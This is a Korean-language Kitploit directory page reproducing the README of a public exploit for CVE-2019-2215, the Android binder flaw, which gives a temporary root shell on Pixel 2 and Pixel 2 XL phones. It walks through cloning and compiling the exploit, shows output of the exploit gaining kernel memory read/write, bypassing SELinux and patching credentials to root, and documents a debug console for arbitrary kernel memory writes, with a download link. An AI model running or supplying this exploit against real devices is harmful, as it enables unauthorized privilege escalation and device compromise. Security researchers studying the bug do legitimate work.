Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2019-2215 — CVE-2019-2215를 통한 Pixel 2 및 Pixel 2 XL용 Temproot | Kitploit
도구/GitHubGitHub/kangtastic/cve-2019-2215
Android SecurityPrivilege EscalationMemory ForensicsExploitationDebuggersLearning & EducationBinary Exploitation
GitHubkangtastic/cve-2019-2215

cve-2019-2215

CVE-2019-2215를 통한 Pixel 2 및 Pixel 2 XL용 Temproot

저장소 보기
134556년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2019-2215

CVE-2019-2215를 통한 Pixel 2 및 Pixel 2 XL용 Temproot

(Google Project Zero의 Jann Horn 및 Maddie Stone의 개념 증명 기반)


개요

커널 메모리 읽기/쓰기 전용 권한 상승 공격을 시연하여 임시 루트 셸을 얻습니다.

이 도구는 2019년 9월 QP1A.190711.020 이미지와 커널 버전-BuildID **4.4.177-g83bee1dc48e8**을 실행하는 Google Pixel 2/Pixel 2 XL (walleye/taimen) 기기에서 작동합니다.

이 도구가 동일한 취약점에 영향을 받는 다른 기기 및/또는 커널에서 작동하려면 일부 오프셋을 찾아서 변경해야 합니다. Project Zero 버그트래커에서 언급된 대로, 이는 그리 어렵지 않습니다.

또한 커널 메모리를 조작하기 위한 헥스 에디터와 유사한 인터페이스와 셸을 생성하는 기능을 제공하는 미니 디버그 콘솔이 포함되어 있습니다.

면책 사항

  • 이 도구와 그 소스는 문서 및 교육 목적으로만 제공됩니다.

  • 이 도구를 사용하지 마십시오. 좋지 않은 생각입니다.

  • 도움, 지원, 업데이트—모두 없음.

컴파일

편의를 위해 **Makefile**이 포함되어 있으며, 이는 Android NDK r19 이상의 크로스 컴파일러 툴체인과 함께 작동합니다.

root@kitploit:~
# Download the Android NDK.
user@host:~$ wget https://dl.google.com/android/repository/android-ndk-r20-linux-x86_64.zip

# Extract the NDK and set its path as $ANDROID_NDK_HOME.
user@host:~$ unzip android-ndk-r20-linux-x86_64.zip
user@host:~$ rm android-ndk-r20-linux-x86_64.zip  # optional
user@host:~$ export ANDROID_NDK_HOME=~/android-ndk-r20

# Clone the `cve-2019-2215` git repository and `cd` into it.
user@host:~$ git clone https://github.com/kangtastic/cve-2019-2215.git
user@host:~$ cd cve-2019-2215

# Compile the binary.
user@host:~/cve-2019-2215$ make all  # all, clean, debug, debug-static, static, strip
user@host:~/cve-2019-2215$ file cve-2019-2215
cve-2019-2215: ELF 64-bit LSB shared object, ARM aarch64, version 1 (SYSV),
dynamically linked, interpreter /system/, stripped

사용법

(adb를 통해 Pixel 2 XL에서 캡처한 샘플 출력)

임시 루트

바이너리가 컴파일되면 기기로 전송하고 실행 가능하게 설정한 후 실행합니다. (일반적으로 /data/ 디렉토리에서 작동합니다.)

예제

root@kitploit:~
taimen:/ $ cd /data/local/tmp
taimen:/data/local/tmp $ install -m 755 /sdcard/cve-2019-2215 ./
taimen:/data/local/tmp $ ./cve-2019-2215
Temproot for Pixel 2 and Pixel 2 XL via CVE-2019-2215
[+] startup
[+] find kernel address of current task_struct
[+] obtain arbitrary kernel memory R/W
[+] find kernel base address
[+] bypass SELinux and patch current credentials
taimen:/data/local/tmp # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),
1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),
3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:kernel:s0
taimen:/data/local/tmp # getenforce
Permissive
taimen:/data/local/tmp # exit
taimen:/data/local/tmp $

성공이 보장되지 않으며 기기가 완전히 충돌할 수도 있지만, 일반적으로 SELinux가 **Permissive**로 설정되고 루트 셸이 생성됩니다.

디버그 콘솔

커널 읽기/쓰기가 달성된 후 권한 상승 루틴 대신 미니 디버그 콘솔을 시작하려면 **debug**를 유일한 명령줄 인수로 전달합니다.

명령어 참조

root@kitploit:~
debug> help
quick help
    print
        print kernel base address, some kernel symbol offsets,
        and address of current task_struct as hexstrings
    read <kaddr> <len>
        read <len> bytes from <kaddr> and display as a hexdump
        <kaddr> is a hexstring not prefixed with 0x
        <len> is 1-4096 or 0x1-0x1000
    write <kaddr> <data>
        write <data> to <kaddr>
        <kaddr> is a hexstring not prefixed with 0x
        <data> is 1-4096 hexbytes, spaces ignored, to be written *AS-IS*
        e.g. if kaddr 0xffffffffdeadbeef contains an int, and you want to set
        its value to 1, enter 'write ffffffffdeadbeef <data>', where <data> is
        '01000000', '0100 0000', '01 00 0 0 00', etc. (our ARM is little-endian)
    shell
        launch a shell (hint: did we ~somehow~ become another user? :P)
    help
        print this help
    exit
        exit debug console

예제

권한 없는 사용자로 SELinux를 **Permissive**에서 다시 **Enforcing**으로 설정합니다.

root@kitploit:~
taimen:/data/local/tmp $ getenforce
Permissive
taimen:/data/local/tmp $ ./cve-2019-2215 debug
Temproot for Pixel 2 and Pixel 2 XL via CVE-2019-2215
[+] startup
[+] find kernel address of current task_struct
[+] obtain arbitrary kernel memory R/W
[+] find kernel base address
launching debug console, enter 'help' for quick help
debug> print
ffffff9bad880000 kernel_base
ffffff9baf8a57d0 init_task
ffffff9baf8af2c8 init_user_ns
ffffff9baf8e3780 selinux_enabled
ffffff9bafc4e4a8 selinux_enforcing
ffffffe6b2942b80 current
debug> read ffffff9bafc4e4a8 35
ffffff9bafc4e4a8: 0000 0000 0100 0000 002e 40b9 faff ffff  ..........@.....
ffffff9bafc4e4b8: 0023 40b9 faff ffff 0000 0000 0000 0000  .#@.............
ffffff9bafc4e4c8: 0000 00                                  ...
debug> write ffffff9bafc4e4a8 01 00 00 00
debug> read ffffff9bafc4e4a8 4
ffffff9bafc4e4a8: 0100 0000                                ....
debug> exit
taimen:/data/local/tmp $ getenforce
Enforcing
taimen:/data/local/tmp $
도구 다운로드